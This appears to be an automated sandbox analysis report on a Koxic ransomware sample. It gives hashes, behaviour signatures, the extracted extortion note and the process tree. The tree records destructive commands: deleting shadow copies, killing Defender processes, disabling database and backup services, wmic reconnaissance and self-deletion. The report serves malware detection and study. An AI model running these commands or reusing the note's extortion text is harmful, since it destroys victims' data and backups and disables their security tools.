Overview

overview

10

Static

static

d2203b6d27...33.exe

windows7-x64

10

d2203b6d27...33.exe

windows10-2004-x64

10

Resubmissions

11/10/2022, 07:47

221011-jmlcracher10

11/10/2022, 07:35

221011-jeym4sccd310

Analysis

  • max time kernel
    101s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2022, 07:35

Sharing

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General

  • Target
    d2203b6d272d44b7abc66e290c3b79767428168b077a16ded1db0babbe34f333.exe
  • Size 158KB
  • Sample221011-jeym4sccd3
  • SHA256 d2203b6d272d44b7abc66e290c3b79767428168b077a16ded1db0babbe34f333
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
koxicevasionransomwaretrojan

Malware Config

Extracted

Path

  • C:\Documents and Settings\WANNA_RECOVER_KOXIC_FILEZ_UVFRM.txt

Ransom Note
  • --=== Hello ===--- [+] Whats Happen? [+] Your sensitive information and data were downloaded. Your files are encrypted, and currently unavailable just so you can contact us faster. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] We are not interested in distributing information, we are interested in agreeing with you - these are your guarantees. Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should send sample to us to decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise-time is much more valuable than money. [+] How to contact us? [+] Just write us an email to [email protected] [+] Consequences if we do not find a common language [+] 1. The data were irretrievably lost. 2. Leaked data will be published or sold on blmarket (or to competitors). 3. In some cases, DDOS attacks will be applied to your inftastructure. !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! Your UserID: 5941D3D8DD33374CE6004B7293851038BAD9260444569309ADD26773B61BE8919085F4208BCB468902 6C14CAC7D4F2A150F374599D1552294515082733BB8DA3D71494BDB2C6AF74A674A2B5B023D0D4AB31 F2F18B081C5CA04D295D8BDF8915D42091A49381DF98DE480C664AEFE1E8DC3B95525FE4E377843509 6AA7B869ABE01C265C3226543C760B52FA8197997EBDB565A45AE35C9DC0F8574E63F7428BFEBC55CC EC01DBBA7329FF698EF9C4BAC97049287BA4FB3CBD70BE9F0CAD7D30B759C897EECDB03955CEA35B32 AF388DDB2B5A6ADC4D9F3A69257EF7BFE296B16D96137BCCA23CE5CC14AA6095DE06DCB998E13FB9A5 FB64E752597B31DCF5FC3082010A0282010100A287A2E444874D141E618E6325F12B6B245C12847BBB ABE7ED654433E0E6D136F04059B0CC4ECA8EA6792223C5BC47ABC4C8573E568728CE82107C7D6DFE38 1581D736FD4048670BF2333BACDC7A22B4E7F10B02078CFFAF4032FA6B8E61B63F12D0DEB8800D4C68 5ADEB358B05E6BF525D2AC2729EFF4328E7EC9EE5B758EEF7AE3161DA003F0C40208810A69994111E9 D51AA999055427336CDD063D0BC835A10AC33222F8368C8B1654CF204E38C04D4746305FA09C574C81 A9BA2CB976F4C17858403A763178FD25B1E296AADAF151874580C29AD56B97316444824008BC393CC4 44692E2D48F815AEBCDDD6E1F868F5FFF35A70731B9DA1A6271B6BE7F502030100012183D6457303B1 EA53614B9CE7E16089555646524D

Signatures

  • Koxic

    A C++ written ransomware first seen in late 2021.

    ransomwarekoxic
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Modifies extensions of user files 14 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Windows security modification 2 TTPs 8 IoCs
    evasiontrojan
  • Drops file in Program Files directory 64 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
    evasion
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d2203b6d272d44b7abc66e290c3b79767428168b077a16ded1db0babbe34f333.exe
    "C:\Users\Admin\AppData\Local\Temp\d2203b6d272d44b7abc66e290c3b79767428168b077a16ded1db0babbe34f333.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies extensions of user files
    • Windows security modification
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /F /IM MSASCuiL.exe taskkill /F /IM MSMpeng.exe taskkill /F /IM msseces.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /F /IM MSASCuiL.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet sc config browser sc config browser start=enabled sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled
      2⤵
        PID:3424
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c "echo OS INFO: > %TEMP%\SPARKQFOX"
        2⤵
          PID:3796
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "wmic OS get Caption,CSDVersion,OSArchitecture,Version >> %TEMP%\SPARKQFOX"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2392
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic OS get Caption,CSDVersion,OSArchitecture,Version
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:308
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "echo BIOS INFO: >> %TEMP%\SPARKQFOX"
          2⤵
            PID:4732
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c "wmic BIOS get Manufacturer, Name, SMBIOSBIOSVersion, Version >> %TEMP%\SPARKQFOX"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5024
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic BIOS get Manufacturer, Name, SMBIOSBIOSVersion, Version
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:64
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c "echo CPU INFO: >> %TEMP%\SPARKQFOX"
            2⤵
              PID:3904
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c "wmic CPU get Name, NumberOfCores, NumberOfLogicalProcessors >> %TEMP%\SPARKQFOX"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic CPU get Name, NumberOfCores, NumberOfLogicalProcessors
                3⤵
                  PID:4764
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c "echo MEMPHYSICAL INFO: >> %TEMP%\SPARKQFOX"
                2⤵
                  PID:2072
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "wmic MEMPHYSICAL get MaxCapacity >> %TEMP%\SPARKQFOX"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4940
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    wmic MEMPHYSICAL get MaxCapacity
                    3⤵
                      PID:824
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c "echo MEMORYCHIP: INFO >> %TEMP%\SPARKQFOX"
                    2⤵
                      PID:1256
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c "wmic MEMORYCHIP get Capacity, DeviceLocator, PartNumber, Tag >> %TEMP%\SPARKQFOX"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2736
                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                        wmic MEMORYCHIP get Capacity, DeviceLocator, PartNumber, Tag
                        3⤵
                          PID:3684
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c "echo NIC INFO: >> %TEMP%\SPARKQFOX"
                        2⤵
                          PID:1160
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c "wmic NIC get Description, MACAddress, NetEnabled, Speed >> %TEMP%\SPARKQFOX"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1796
                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                            wmic NIC get Description, MACAddress, NetEnabled, Speed
                            3⤵
                              PID:1476
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c "echo DISKDRIVE INFO: >> %TEMP%\SPARKQFOX"
                            2⤵
                              PID:4856
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c "wmic DISKDRIVE get InterfaceType, Name, Size, Status >> %TEMP%\SPARKQFOX"
                              2⤵
                                PID:3028
                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                  wmic DISKDRIVE get InterfaceType, Name, Size, Status
                                  3⤵
                                    PID:2080
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c "echo USERACCOUNT INFO: >> %TEMP%\SPARKQFOX"
                                  2⤵
                                    PID:1104
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c "wmic USERACCOUNT get Caption, Name, PasswordRequired, Status >> %TEMP%\SPARKQFOX"
                                    2⤵
                                      PID:1960
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        wmic USERACCOUNT get Caption, Name, PasswordRequired, Status
                                        3⤵
                                          PID:4104
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c "echo IPCONFIG: >> %TEMP%\SPARKQFOX"
                                        2⤵
                                          PID:2284
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c "ipconfig >> %TEMP%\SPARKQFOX"
                                          2⤵
                                            PID:2364
                                            • C:\Windows\SysWOW64\ipconfig.exe
                                              ipconfig
                                              3⤵
                                              • Gathers network information
                                              PID:1988
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c "echo DATABASES FILES: >> %TEMP%\SPARKQFOX"
                                            2⤵
                                              PID:3128
                                            • C:\Windows\SysWOW64\notepad.exe
                                              notepad.exe C:\Users\Admin\AppData\Local\Temp\WANNA_RECOVER_KOXIC_FILEZ_UVFRM.txt
                                              2⤵
                                              • Opens file in notepad (likely ransom note)
                                              PID:3584
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\d2203b6d272d44b7abc66e290c3b79767428168b077a16ded1db0babbe34f333.exe"
                                              2⤵
                                                PID:1928
                                                • C:\Windows\SysWOW64\PING.EXE
                                                  ping 1.1.1.1 -n 1 -w 3000
                                                  3⤵
                                                  • Runs ping.exe
                                                  PID:2612

                                            Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

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                                                  Downloads

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 11B
                                                  • SHA256 9841fc54844c86d073907913cfd2fccc49d13db491e790c6aeb30b7159e62bf5
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 296B
                                                  • SHA256 12846bff5586d9a89874c612d9269e2ba1e5a730438373ce9a08919b58a0df6f
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 296B
                                                  • SHA256 12846bff5586d9a89874c612d9269e2ba1e5a730438373ce9a08919b58a0df6f
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 668B
                                                  • SHA256 17e67d6439097c6b6cb5105e6661d18678921cc5ae4d03f31d1ed950df738b1b
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 668B
                                                  • SHA256 17e67d6439097c6b6cb5105e6661d18678921cc5ae4d03f31d1ed950df738b1b
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 f33353dd1816be2913e1950ddc935aa9e70010a15abdbf7d1001a55edc82e52a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 f33353dd1816be2913e1950ddc935aa9e70010a15abdbf7d1001a55edc82e52a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 53031d7b21762222ab98e3f9ef68b2fa902ddcb0bc4d4c0dbbe8bfbb09e0dc96
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 3a72d27644968b8c776cb9f865570eb038415fabb1acba749a88f39c5ca5a86c
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 9f08c7a43c50b013aff9ae8d8ad86520d55ddb4ac61b63b08380101ece9b00fb
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 9f08c7a43c50b013aff9ae8d8ad86520d55ddb4ac61b63b08380101ece9b00fb
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 de58897f904177391dd645f0e9f94a9f14121defe2188ce68197e315b23e466b
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 1KB
                                                  • SHA256 de58897f904177391dd645f0e9f94a9f14121defe2188ce68197e315b23e466b
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 2KB
                                                  • SHA256 f3584d7109dc4314c7a95c713ecbfc58eda48d9acd822ea0dbf038f2bdfc7b9a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 2KB
                                                  • SHA256 f3584d7109dc4314c7a95c713ecbfc58eda48d9acd822ea0dbf038f2bdfc7b9a
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 3KB
                                                  • SHA256 671f351a5b5e0949fb57515e9a77bd37c055ef6a73f715458832e8dd2a2e8092
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 3KB
                                                  • SHA256 671f351a5b5e0949fb57515e9a77bd37c055ef6a73f715458832e8dd2a2e8092
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  SPARKQFOX
                                                  • Path C:\Users\Admin\AppData\Local\Temp\SPARKQFOX
                                                  • Size 3KB
                                                  • SHA256 be48004a4c90816058abbdce513bb2e2bc9823bc22945793082198cfe0c2faa6
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  WANNA_RECOVER_KOXIC_FILEZ_UVFRM.txt
                                                  • Path C:\Users\Admin\AppData\Local\Temp\WANNA_RECOVER_KOXIC_FILEZ_UVFRM.txt
                                                  • Size 11KB
                                                  • SHA256 251f9cd6baf3718dbdce1f5dc9cf1af5b95a9a45521666e4078de3651b1747d2
                                                  • MD5 SHA1 SHA512 SSDEEP
                                                  Submit Download

                                                  memory/3752-182-0x0000000000F30000-0x0000000001FA5000-memory.dmp
                                                  Download

                                                  memory/3752-186-0x0000000000F30000-0x0000000001FA5000-memory.dmp
                                                  Download

                                                  memory/3752-135-0x0000000000F30000-0x0000000001FA5000-memory.dmp
                                                  Download